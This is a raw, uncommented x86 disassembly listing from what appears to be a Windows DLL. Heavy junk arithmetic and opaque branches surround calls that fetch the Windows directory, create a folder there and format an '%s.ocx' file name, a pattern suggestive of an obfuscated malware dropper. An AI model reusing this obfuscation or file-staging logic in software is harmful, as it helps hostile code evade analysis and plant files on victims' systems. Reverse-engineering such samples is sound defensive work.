mov byte [ebp - 0x14], cl
mov edx, 0xcc030
mov dword [0x100cd0f8], 0x491040f
mov dword [0x100cd0fc], edx
cmp dword [ebp - 0x40], 0
je 0x1003f4bf
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x4d8], ecx
jmp 0x1003f4d6
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
mov dword [ebp - 0x4dc], edx
mov dword [ebp - 0x4d8], eax
mov cx, word [ebp - 0x4dc]
mov word [0x100cd0d8], cx
movsx edx, word [ebp - 0x2c]
movzx eax, byte [ebp - 0x12]
xor eax, edx
not eax
mov word [0x100cd0dc], ax
mov dword [ebp - 0xfc], 0
jmp 0x1003f511
mov ecx, dword [ebp - 0xfc]
add ecx, 1
mov dword [ebp - 0xfc], ecx
cmp dword [ebp - 0xfc], 0x2df
jge 0x1003f5ca
jmp 0x1003f537
jmp 0x1003f552
jmp 0x1003f579
jmp 0x1003f5ad
jmp 0x1003f5b9
mov dx, word [ebp - 0x34]
add dx, 1
mov word [ebp - 0x34], dx
jmp 0x1003f502
push 0x104
lea eax, [ebp - 0x1390]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x1003fe09
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x50c], 0
cmp dword [ebp - 0x2cc], 0
je 0x1003f62e
mov dword [ebp - 0x508], 1
mov ecx, dword [ebp - 0x508]
push ecx
mov edx, dword [ebp - 0x50c]
push edx
mov eax, dword [ebp - 0x2cc]
push eax
call dword [sym.imp.USER32.dll_GetUpdateRect]
mov dword [ebp - 0x808], eax
movsx ecx, word [ebp - 0x34]
test ecx, ecx
je 0x1003f677
mov byte [str.6BlockUpgradeIfDriv], 0xba
movsx edx, word [0x100cd108]
add edx, 0x1646dea4
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [0x100cd090]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x80c], edx
sub ecx, 0xc5
mov word [ebp - 0x20], cx
jmp 0x1003f75e
movsx eax, word [ebp - 0x2c]
test eax, eax
je 0x1003f694
mov ecx, 2
test ecx, ecx
je 0x1003f694
mov dword [ebp - 0x2d4], 1
jmp 0x1003f69e
mov dword [ebp - 0x2d4], 0
movzx edx, word [ebp - 0x30]
test edx, edx
jne 0x1003f6b2
mov dword [ebp - 0x2d0], 1
jmp 0x1003f6bc
mov dword [ebp - 0x2d0], 0
cmp dword [ebp - 0x2d0], 0xa909
jge 0x1003f6d4
mov dword [ebp - 0x2d8], 1
jmp 0x1003f6de
mov dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x2d4]
cmp eax, dword [ebp - 0x2d8]
jle 0x1003f75e
movzx eax, word [ebp - 0x28]
cdq
add eax, 0x8daeedd9
adc edx, 0xcb1e1
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movsx ecx, word [0x100cd0d8]
movsx edx, word [ebp - 0x20]
sub edx, ecx
mov word [ebp - 0x20], dx
movsx eax, word [ebp - 0x2c]
movsx ecx, word [ebp - 0x20]
add ecx, eax
movsx edx, word [ebp - 0x20]
sub edx, ecx
mov word [ebp - 0x20], dx
mov eax, dword [0x100cd0f0]
sub eax, 0xb77d
mov word [0x100cd0ec], ax
mov ecx, dword [0x100cd0e0]
sub ecx, dword [0x100cd090]
mov edx, dword [0x100cd0e0]
sub edx, ecx
mov dword [0x100cd0e0], edx
mov al, byte [ebp - 0x1c]
mov byte [0x100cd026], al
movsx ecx, byte [0x100cd083]
add ecx, 0xe6
mov word [ebp - 0x20], cx
movzx edx, byte [0x100cd082]
movzx eax, word [ebp - 0x28]
sub eax, edx
mov word [ebp - 0x28], ax
mov dword [0x100cd100], 0xc512af18
movsx ecx, byte [ebp - 0x11]
mov edx, dword [0x100cd0f0]
imul edx, ecx
mov dword [0x100cd0f0], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0x104], eax
mov ecx, 9
mov esi, str.Failedtoappendmatc
lea edi, [ebp - 0x8d8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x8d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x100cd0d8], ax
mov edx, dword [ebp - 0x104]
add edx, 0x2c4
mov dword [ebp - 0x514], edx
mov dword [ebp - 4], 0xe
movsx eax, word [ebp - 0x20]
cmp eax, dword [ebp - 0x40]
jb 0x1003f977
mov byte [ebp - 0x14], 2
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov cl, 1
call fcn.100999a0
mov word [ebp - 0x28], ax
movsx eax, word [0x100cd0e8]
cdq
mov ecx, dword [0x100cd118]
sub ecx, eax
mov eax, dword [0x100cd11c]
sbb eax, edx
mov edx, dword [0x100cd118]
sub edx, ecx
mov ecx, dword [0x100cd11c]
sbb ecx, eax
mov dword [0x100cd118], edx
mov dword [0x100cd11c], ecx
mov dx, word [0x100cdb38]
mov word [ebp - 0x24], dx
mov eax, dword [0x100cdb38]
xor ecx, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
movzx edx, word [ebp - 0x1c]
sar edx, 3
mov word [ebp - 0x30], dx
mov al, byte [ebp - 0x14]
mov byte [ebp - 0x100], al
cmp byte [ebp - 0x100], 0
je 0x1003f88d
cmp byte [ebp - 0x100], 1
je 0x1003f8c6
cmp byte [ebp - 0x100], 2
je 0x1003f91e
jmp 0x1003f972
mov ecx, dword [ebp - 0x40]
shr ecx, 6
mov byte [ebp - 0x12], cl
movzx edx, word [0x100cd094]
add edx, 0x2025
mov word [ebp - 0x28], dx
movzx eax, word [ebp - 0x28]
imul ecx, eax, 0x99
mov word [0x100cd0ec], cx
mov edx, 1
mov word [ebp - 0x28], dx
jmp 0x1003f972
movsx eax, byte [ebp - 0x11]
imul ecx, eax, 0xaebc
mov edx, dword [ebp - 0x58]
add edx, ecx
mov dword [ebp - 0x58], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0x5c], eax
movzx eax, byte [ebp - 0x14]
cdq
add eax, dword [ebp - 0x80]
mov byte [ebp - 0x14], al
mov ecx, dword [0x100cd090]
add ecx, 0x67178710
mov word [0x100cd098], cx
movsx edx, byte [0x100cd026]
sub edx, 0xde
mov eax, dword [ebp - 0x5c]
add eax, edx
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov byte [0x100cd027], cl
jmp 0x1003f972
movzx edx, word [0x100cd094]
sub edx, 0xbc
mov word [0x100cd108], dx
movzx eax, word [ebp - 0x24]
add eax, 0x76f1
mov byte [0x100cd047], al
mov ecx, dword [0x100cd090]
sub ecx, dword [0x100cd100]
mov edx, dword [0x100cd090]
add edx, ecx
mov dword [0x100cd090], edx
movsx eax, word [ebp - 0x20]
add eax, 0xbc9f
mov byte [ebp - 0x13], al
xor ecx, ecx
mov dword [ebp - 0x3c], 0x6de7
mov dword [ebp - 0x38], ecx
jmp 0x1003fa50
movzx edx, byte [ebp - 0x12]
test edx, edx
je 0x1003f994
mov eax, 0x17e2
test eax, eax
je 0x1003f994
mov dword [ebp - 0x2dc], 1
jmp 0x1003f99e
mov dword [ebp - 0x2dc], 0
cmp dword [0x100cd0e0], 0
jne 0x1003f9b3
mov dword [ebp - 0x2e0], 1
jmp 0x1003f9bd
mov dword [ebp - 0x2e0], 0
mov ecx, dword [ebp - 0x2dc]
xor ecx, dword [ebp - 0x2e0]
jne 0x1003fa50
movsx edx, word [0x100cd110]
movzx eax, byte [0x100cd06e]
imul eax, edx
mov byte [0x100cd06e], al
movzx eax, byte [ebp - 0x13]
cdq
push 0xff3df
push 0xa38a7ca9
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
movsx ecx, word [0x100cd110]
sar ecx, 4
mov word [0x100cd10c], cx
movsx eax, word [ebp - 0x20]
cdq
mov ecx, dword [0x100cd0b4]
push ecx
mov ecx, dword [0x100cd0b0]
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x20], ax
movzx edx, byte [0x100cd07f]
imul eax, edx, 0x65
mov word [ebp - 0x34], ax
imul ecx, dword [0x100cd0f0], 0x2458
xor edx, edx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], edx
jmp 0x1003faa4
mov dword [ebp - 4], 0xffffffff
jmp 0x1003fab4
mov edx, dword [ebp - 0x104]
add edx, 0x338
mov dword [ebp - 0x810], edx
movzx eax, byte [0x100cd083]
push eax
push 0
call fcn.1005fe20
add esp, 8
movsx cx, al
mov word [0x100cd0d8], cx
movsx edx, word [0x100cd0d8]
test edx, edx
jge 0x1003fb77
mov eax, dword [0x100cd0a8]
shr eax, 2
mov dword [ebp - 0x5c], eax
movzx ecx, byte [0x100cd027]
mov edx, dword [0x100cd0ac]
sub edx, ecx
jne 0x1003fb1a
mov dword [ebp - 0x2e4], 1
jmp 0x1003fb24
mov dword [ebp - 0x2e4], 0
movsx eax, byte [0x100cd047]
movzx ecx, word [ebp - 0x1c]
xor ecx, eax
sub ecx, dword [ebp - 0x2e4]
mov byte [0x100cd06e], cl
movsx edx, word [0x100cd0d8]
imul eax, edx, 0x3a3514f4
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
movzx eax, byte [0x100cd07f]
sub eax, 0x5e060d3e
mov word [0x100cd108], ax
movsx ecx, word [ebp - 0x20]
movzx edx, word [0x100cd0b8]
xor edx, ecx
mov word [0x100cd0b8], dx
mov eax, dword [ebp - 0x104]
add eax, 0x2e2
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x108], 0x278
jmp 0x1003fba3
mov ecx, dword [ebp - 0x108]
sub ecx, 1
mov dword [ebp - 0x108], ecx
cmp dword [ebp - 0x108], 0
jle 0x1003fc25
mov edx, dword [0x100cd08c]
mov eax, 0x7459
sub eax, dword [0x100cd088]
mov ecx, 0
sbb ecx, edx
mov dword [0x100cd118], eax
mov dword [0x100cd11c], ecx
movsx edx, byte [0x100cd026]
movsx eax, word [0x100cd0ec]
imul eax, edx
mov word [0x100cd0ec], ax
mov ecx, dword [0x100cd0f0]
sub ecx, 0x33283e55
mov dword [0x100cd090], ecx
movzx eax, word [ebp - 0x30]
cdq
xor eax, dword [ebp - 0x78]
mov byte [0x100cd027], al
movsx edx, byte [0x100cd026]
imul eax, edx, 0xca75
mov byte [0x100cd06e], al
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
jmp 0x1003fb94
mov edx, dword [ebp - 0x510]
cmp edx, dword [ebp - 0x514]
je 0x1003fe09
movsx eax, word [0x100cd0d8]
test eax, eax
jne 0x1003fc56
xor ecx, ecx
mov dword [ebp - 0x4d4], 1
mov dword [ebp - 0x4d0], ecx
jmp 0x1003fc61
xorps xmm0, xmm0
movlpd qword [ebp - 0x4d4], xmm0
mov edx, dword [ebp - 0x4d4]
mov eax, dword [ebp - 0x4d0]
mov dword [0x100cd0f8], edx
mov dword [0x100cd0fc], eax
mov eax, dword [ebp - 0x58]
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], edx
mov byte [ebp - 0x14], 0x64
movzx edx, word [ebp - 0x18]
movsx eax, byte [str.6BlockUpgradeIfDriv]
add eax, edx
jne 0x1003fcd0
mov dword [ebp - 0x2e8], 1
jmp 0x1003fcda
mov dword [ebp - 0x2e8], 0
movsx ecx, word [0x100cd0ec]
test ecx, ecx
jne 0x1003fcf9
xor edx, edx
mov dword [ebp - 0x4cc], 1
mov dword [ebp - 0x4c8], edx
jmp 0x1003fd04
xorps xmm0, xmm0
movlpd qword [ebp - 0x4cc], xmm0
mov ecx, dword [0x100cd0d0]
add ecx, dword [ebp - 0x4cc]
mov esi, dword [0x100cd0d4]
adc esi, dword [ebp - 0x4c8]
movzx edx, word [0x100cd10c]
movzx eax, word [0x100cd10c]
not eax
sub eax, edx
cdq
mov edi, eax
mov ebx, edx
add edi, ecx
adc ebx, esi
movsx eax, word [0x100cd0dc]
imul eax, dword [ebp - 0x2e8]
cdq
sub eax, edi
sbb edx, ebx
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], edx
mov eax, dword [ebp - 0x5f0]
or eax, dword [ebp - 0x5ec]
jne 0x1003fd6d
mov byte [ebp - 0x84], 1
jmp 0x1003fd74
mov byte [ebp - 0x84], 0
mov cl, byte [ebp - 0x84]
mov byte [str.6BlockUpgradeIfDriv], cl
mov dx, word [0x100cdb38]
mov word [ebp - 0x20], dx
movsx eax, byte [ebp - 0x11]
movzx ecx, word [0x100cd10c]
imul ecx, eax
mov word [0x100cd10c], cx
movzx edx, byte [0x100cd06e]
shl edx, 7
mov word [0x100cd094], dx
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
push edx
push eax
mov eax, dword [0x100cd0fc]
push eax
mov ecx, dword [0x100cd0f8]
push ecx
call fcn.10099890
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
mov edx, 0x6c50
mov word [0x100cd0e8], dx
mov eax, dword [0x100cd0e4]
xor ecx, ecx
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], ecx
mov edx, dword [ebp - 0x44]
sub edx, 1
mov byte [0x100cd026], dl
xor eax, eax
jmp 0x100423d0
xor eax, eax
mov byte [ebp - 0x89], al
push 0
push 0
lea ecx, [ebp - 0x8ec]
push ecx
lea ecx, [ebp - 0x89]
call fcn.10002eb0
mov ecx, eax
call fcn.100555b0
push eax
lea edx, [ebp - 0x1390]
push edx
lea eax, [ebp - 0x1598]
push eax
call fcn.10008120
add esp, 0x14
xor ecx, ecx
mov byte [ebp - 0x8a], cl
push 0
push 0
lea edx, [ebp - 0x93e]
push edx
lea ecx, [ebp - 0x8a]
call fcn.10002ff0
mov ecx, eax
call fcn.100557b0
push eax
lea eax, [ebp - 0x1598]
push eax
lea ecx, [ebp - 0xf80]
push ecx
call fcn.10008120
add esp, 0x14
mov dword [ebp - 0x10c], 0x1f8b
imul edx, dword [0x100cd084], 0x2495f9ad
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x60]
sub eax, edx
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
movsx edx, word [0x100cd110]
test edx, edx
jne 0x1003febc
mov dword [ebp - 0x2ec], 1
jmp 0x1003fec6
mov dword [ebp - 0x2ec], 0
movzx eax, byte [0x100cd027]
not eax
imul ecx, dword [ebp - 0x44], 0
imul ecx, eax
movsx edx, word [0x100cd0e8]
mov eax, dword [ebp - 0x48]
sub eax, edx
movzx edx, word [ebp - 0x1c]
add edx, dword [ebp - 0x2ec]
not edx
sub edx, eax
imul edx, ecx
not edx
mov dword [0x100cd090], edx
cmp dword [0x100cd0ac], 0
jne 0x1003ff10
mov dword [ebp - 0x2f0], 1
jmp 0x1003ff1a
mov dword [ebp - 0x2f0], 0
movsx eax, word [0x100cd110]
cdq
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 0x13]
add eax, dword [ebp - 0x2f0]
cdq
mov edi, eax
mov ebx, edx
movsx eax, word [0x100cd0dc]
cdq
add eax, 0xc43dbfcd
adc edx, 0xab07
sub eax, edi
sbb edx, ebx
xor eax, ecx
xor edx, esi
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
mov edx, 1
shl edx, 3
mov al, byte [ebp - 0x40]
mov byte [edx + 0x10127a2c], al
mov ecx, dword [0x100cdb38]
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x48], 0
je 0x1003ff8a
movsx edx, byte [0x100cd083]
mov dword [ebp - 0x2f4], edx
jmp 0x1003ff95
mov eax, dword [0x100cd0c8]
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x10c], 0x1e86
jle 0x10040061
cmp dword [0x100cd100], 0
je 0x1004004d
movzx edx, word [0x100cd0b8]
movzx eax, word [0x100cd094]
imul eax, edx
not eax
mov word [ebp - 0x20], ax
movsx eax, word [ebp - 0x34]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movzx eax, word [0x100cd0b8]
cdq
and eax, dword [ebp - 0x80]
and edx, dword [ebp - 0x7c]
or eax, dword [ebp - 0x80]
or edx, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov ecx, dword [ebp - 0x78]
or ecx, dword [ebp - 0x74]
je 0x1004000b
movzx edx, word [ebp - 0x1c]
mov dword [ebp - 0x2f8], edx
jmp 0x10040016
mov eax, dword [0x100cd104]
mov dword [ebp - 0x2f8], eax
mov cl, byte [ebp - 0x2f8]
mov byte [str.6BlockUpgradeIfDriv], cl
movsx edx, word [0x100cd0dc]
xor edx, 0xd3
mov word [0x100cd110], dx
movzx eax, byte [0x100cd07f]
movsx ecx, word [ebp - 0x20]
sub ecx, eax
movsx edx, word [ebp - 0x20]
or edx, ecx
mov word [ebp - 0x20], dx
mov eax, dword [ebp - 0x10c]
sub eax, 1
mov dword [ebp - 0x10c], eax
jmp 0x1003ff9e
push 0x17
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x814], edx
movzx eax, cl
push eax
mov ecx, dword [0x100cd0ac]
push ecx
movzx edx, byte [0x100cd06e]
push edx
push 0xb3
push 0
call fcn.1005b9d0
add esp, 0x18
movzx eax, al
mov dword [0x100cd0c8], eax
cmp dword [0x100cd0c8], 0
jle 0x100400b4
mov dword [ebp - 0x2fc], 1
jmp 0x100400be
mov dword [ebp - 0x2fc], 0
cmp dword [0x100cd0c8], 0x3a
jle 0x100400d3
mov dword [ebp - 0x300], 1
jmp 0x100400dd
mov dword [ebp - 0x300], 0
mov ecx, dword [ebp - 0x2fc]
cmp ecx, dword [ebp - 0x300]
jge 0x100401b1
movsx edx, byte [0x100cd047]
mov eax, dword [ebp - 0x58]
sub eax, edx
mov ecx, dword [ebp - 0x58]
sub ecx, eax
mov dword [ebp - 0x58], ecx
movsx edx, byte [ebp - 0x11]
sub edx, 0x42
mov byte [0x100cd06e], dl
movsx eax, word [0x100cd0ec]
cdq
sub eax, 0xb17fded7
sbb edx, 0xb4c13
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movsx eax, word [ebp - 0x2c]
add eax, dword [0x100cd100]
movsx ecx, word [ebp - 0x2c]
add ecx, eax
mov word [ebp - 0x2c], cx
movzx edx, byte [ebp - 0x12]
test edx, edx
jne 0x1004015e
xor eax, eax
mov dword [ebp - 0x5f8], 1
mov dword [ebp - 0x5f4], eax
jmp 0x10040169
xorps xmm0, xmm0
movlpd qword [ebp - 0x5f8], xmm0
movsx eax, byte [ebp - 0x11]
cdq
add eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x818], edx
add ecx, dword [ebp - 0x5f8]
add ecx, eax
not ecx
movzx eax, byte [ebp - 0x14]
mov edx, dword [0x100cd0c8]
xor edx, eax
not edx
movsx eax, word [0x100cd108]
add eax, dword [0x100cd0f0]
add eax, edx
sub eax, ecx
mov word [0x100cd110], ax
jmp 0x10040387
mov ecx, dword [0x100cd0c8]
not ecx
test ecx, ecx
jne 0x100401e1
cmp dword [0x100cd0f0], 0
je 0x100401e1
movsx edx, byte [0x100cd083]
test edx, edx
je 0x10040284
movzx eax, byte [ebp - 0x12]
test eax, eax
je 0x10040284
cmp dword [0x100cd0e4], 0
je 0x100401fa
mov cx, word [0x100cd0e8]
mov word [ebp - 0x90], cx
jmp 0x10040208
mov dx, word [0x100cd0e8]
mov word [ebp - 0x90], dx
movsx eax, word [ebp - 0x90]
mov dword [ebp - 0x40], eax
imul ecx, dword [0x100cd0e0], 0xa2e2ad57
mov byte [0x100cd027], cl
movzx eax, word [0x100cd10c]
cdq
mov ecx, dword [0x100cd0f8]
sub ecx, eax
mov eax, dword [0x100cd0fc]
sbb eax, edx
mov edx, dword [0x100cd0f8]
sub edx, ecx
mov ecx, dword [0x100cd0fc]
sbb ecx, eax
mov dword [0x100cd0f8], edx
mov dword [0x100cd0fc], ecx
mov dword [ebp - 0x48], 0x419c00ab
mov dl, byte [0x100cd096]
mov eax, 1
imul ecx, eax, 0x8f
mov byte [ecx + 0x1029ca10], dl
mov edx, dword [ebp - 0x44]
add edx, 0x3c322b2f
mov dword [ebp - 0x4c], edx
jmp 0x10040387
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
not eax
not ecx
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov edx, dword [ebp - 0x600]
or edx, dword [ebp - 0x5fc]
je 0x100402f0
mov dword [ebp - 0x44], 0xb2f9
movzx eax, byte [ebp - 0x12]
movsx ecx, byte [0x100cd083]
add ecx, eax
movsx edx, byte [0x100cd083]
add edx, ecx
mov byte [0x100cd083], dl
movzx eax, word [ebp - 0x28]
and eax, 0xfcab49f1
mov byte [ebp - 0x12], al
movzx ecx, byte [0x100cd027]
not ecx
mov byte [0x100cd07f], cl
jmp 0x10040387
mov edx, 0x6623
test edx, edx
je 0x10040387
movsx eax, byte [str.6BlockUpgradeIfDriv]
xor ecx, ecx
sub ecx, eax
movsx edx, byte [ebp - 0x11]
movsx eax, byte [0x100cd047]
imul eax, edx
not eax
and eax, ecx
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx eax, byte [0x100cd096]
mov dword [0x100cd0e0], eax
movzx eax, byte [0x100cd07f]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
xor ecx, eax
xor esi, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
movzx edx, word [ebp - 0x18]
test edx, edx
jne 0x10040359
mov dword [ebp - 0x304], 1
jmp 0x10040363
mov dword [ebp - 0x304], 0
movsx eax, byte [0x100cd083]
movzx ecx, byte [0x100cd027]
sub ecx, eax
not ecx
mov edx, dword [0x100cd100]
imul edx, dword [ebp - 0x304]
add edx, ecx
mov dword [ebp - 0x40], edx
push 0
lea eax, [ebp - 0xb70]
push eax
lea ecx, [ebp - 0x17a0]
push ecx
lea edx, [ebp - 0x19a8]
push edx
lea eax, [ebp - 0xd78]
push eax
call fcn.10008120
add esp, 0x14
mov ecx, dword [ebp - 0x80]
add ecx, 0xbacda44
mov dword [ebp - 0x4c], ecx
movsx edx, byte [str.6BlockUpgradeIfDriv]
test edx, edx
jne 0x100403d0
mov dword [ebp - 0x308], 1
jmp 0x100403da
mov dword [ebp - 0x308], 0
cmp dword [ebp - 0x4c], 0
jne 0x100403ec
mov dword [ebp - 0x30c], 1
jmp 0x100403f6
mov dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x308]
xor eax, dword [ebp - 0x30c]
cdq
mov esi, eax
mov edi, edx
movzx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [0x100cd0c0]
mov ebx, dword [0x100cd0c4]
push edx
push eax
push ebx
push ecx
call fcn.10099890
mov ecx, eax
mov ebx, edx
sub ecx, esi
sbb ebx, edi
movsx edx, byte [0x100cd096]
movzx eax, byte [ebp - 0x12]
imul eax, edx
movzx edx, word [ebp - 0x18]
imul eax, edx
cdq
push ebx
push ecx
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x48], eax
mov eax, dword [0x100cd118]
xor eax, 0x64ed0ad1
mov word [0x100cd0b8], ax
movsx ecx, byte [ebp - 0x11]
sar ecx, 5
mov byte [0x100cd06e], cl
movzx edx, byte [0x100cd082]
sub edx, dword [ebp - 0x5c]
movzx eax, byte [0x100cd082]
sub eax, edx
mov byte [0x100cd082], al
push 0
lea ecx, [ebp - 0xd78]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
test eax, eax
je 0x100404a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10042200
push 0
push 0
movzx edx, byte [ebp - 0x28]
push edx
movzx eax, byte [ebp - 0x2c]
push eax
push 0x14
push 0
call fcn.1005b9d0
add esp, 0x18
movzx ecx, al
mov dword [0x100cd104], ecx
cmp dword [0x100cd104], 0
jg 0x100404de
mov dword [ebp - 0x310], 1
jmp 0x100404e8
mov dword [ebp - 0x310], 0
cmp dword [0x100cd104], 0x40
jg 0x100404fd
mov dword [ebp - 0x314], 1
jmp 0x10040507
mov dword [ebp - 0x314], 0
mov edx, dword [ebp - 0x310]
cmp edx, dword [ebp - 0x314]
jle 0x1004056a
mov dword [ebp - 0x40], 0x1294
movsx eax, byte [0x100cd06f]
movzx ecx, word [ebp - 0x1c]
add ecx, eax
mov word [0x100cd0ec], cx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x81c], eax
sub edx, 0x49707733
mov word [0x100cd0d8], dx
movzx eax, word [ebp - 0x1c]
cdq
add eax, dword [0x100cd118]
adc edx, dword [0x100cd11c]
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
jmp 0x10040649
movzx ecx, word [ebp - 0x18]
test ecx, ecx
je 0x10040649
movsx edx, byte [str.6BlockUpgradeIfDriv]
sub edx, 0xe2a1
mov byte [0x100cd06f], dl
mov eax, dword [0x100cd0a8]
xor ecx, ecx
push 0xf92ac
push 0xd2f4142d
push ecx
push eax
call fcn.10099890
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], edx
mov edx, dword [ebp - 0x608]
or edx, dword [ebp - 0x604]
jne 0x100405c7
mov dword [ebp - 0x31c], 1
jmp 0x100405d1
mov dword [ebp - 0x31c], 0
movsx eax, byte [0x100cd096]
movzx ecx, word [ebp - 0x18]
imul ecx, eax
test ecx, ecx
jne 0x100405ef
mov dword [ebp - 0x318], 1
jmp 0x100405f9
mov dword [ebp - 0x318], 0
movzx edx, byte [0x100cd06e]
and edx, 0xffff595a
mov eax, dword [ebp - 0x318]
sub eax, edx
movzx ecx, word [0x100cd10c]
movzx edx, word [ebp - 0x28]
xor edx, ecx
mov ecx, dword [ebp - 0x31c]
sub ecx, edx
add ecx, eax
mov word [0x100cd110], cx
mov edx, dword [ebp - 0x4c]
xor edx, dword [ebp - 0x60]
mov dword [ebp - 0x4c], edx
mov ax, word [0x100cdb38]
mov word [ebp - 0x1c], ax
mov dword [0x100cd0ac], 0xc99cd794
mov ecx, 1
imul edx, ecx, 0x75
movsx eax, byte [edx + 0x1026d160]
mov ecx, dword [ebp - 0x60]
sub ecx, eax
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x78]
add edx, 0xe10ec5f1
mov byte [ebp - 0x11], dl
mov eax, dword [ebp - 0x58]
sub eax, dword [0x100cd084]
xor ecx, ecx
mov dword [0x100cd088], eax
mov dword [0x100cd08c], ecx
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
mov cl, 4
call fcn.100999a0
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
mov edx, dword [0x100cd118]
add edx, 0x75
mov byte [0x100cd07f], dl
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
push 0x4bb7f
push 0x821229d6
push ecx
push eax
call fcn.10099890
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
call dword [sym.imp.USER32.dll_GetCursor]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x51c], 0
cmp dword [ebp - 0x518], 0
je 0x100406f8
mov edx, dword [ebp - 0x51c]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0xb70]
push eax
push str._s.ocx
lea ecx, [ebp - 0x1bb0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x110], 0x5a
mov dx, word [ebp - 0x2c]
add dx, 1
mov word [ebp - 0x2c], dx
xor eax, eax
mov dword [ebp - 0x78], 8
mov dword [ebp - 0x74], eax
movsx ecx, word [0x100cd0dc]
imul edx, ecx, 0x7c
mov byte [0x100cd082], dl
movzx eax, byte [ebp - 0x12]
cdq
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], esi
mov edx, dword [0x100cdb38]
xor eax, eax
mov dword [0x100cd0b0], edx
mov dword [0x100cd0b4], eax
movzx ecx, byte [0x100cd027]
movzx edx, word [ebp - 0x1c]
imul edx, ecx
mov word [ebp - 0x1c], dx
movsx eax, word [0x100cd108]
imul ecx, eax, 0xcdcc
movzx edx, word [ebp - 0x18]
or edx, ecx
mov word [ebp - 0x18], dx
movzx eax, byte [ebp - 0x13]
imul ecx, eax, 0x689f3612
mov edx, dword [ebp - 0x40]
sub edx, ecx
mov dword [ebp - 0x40], edx
mov eax, 0xbc
mov word [ebp - 0x1c], ax
movsx eax, byte [0x100cd06f]
sar eax, 7
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
cmp dword [ebp - 0x110], 0x198d
jl 0x1004077d
cmp dword [ebp - 0x44], 0
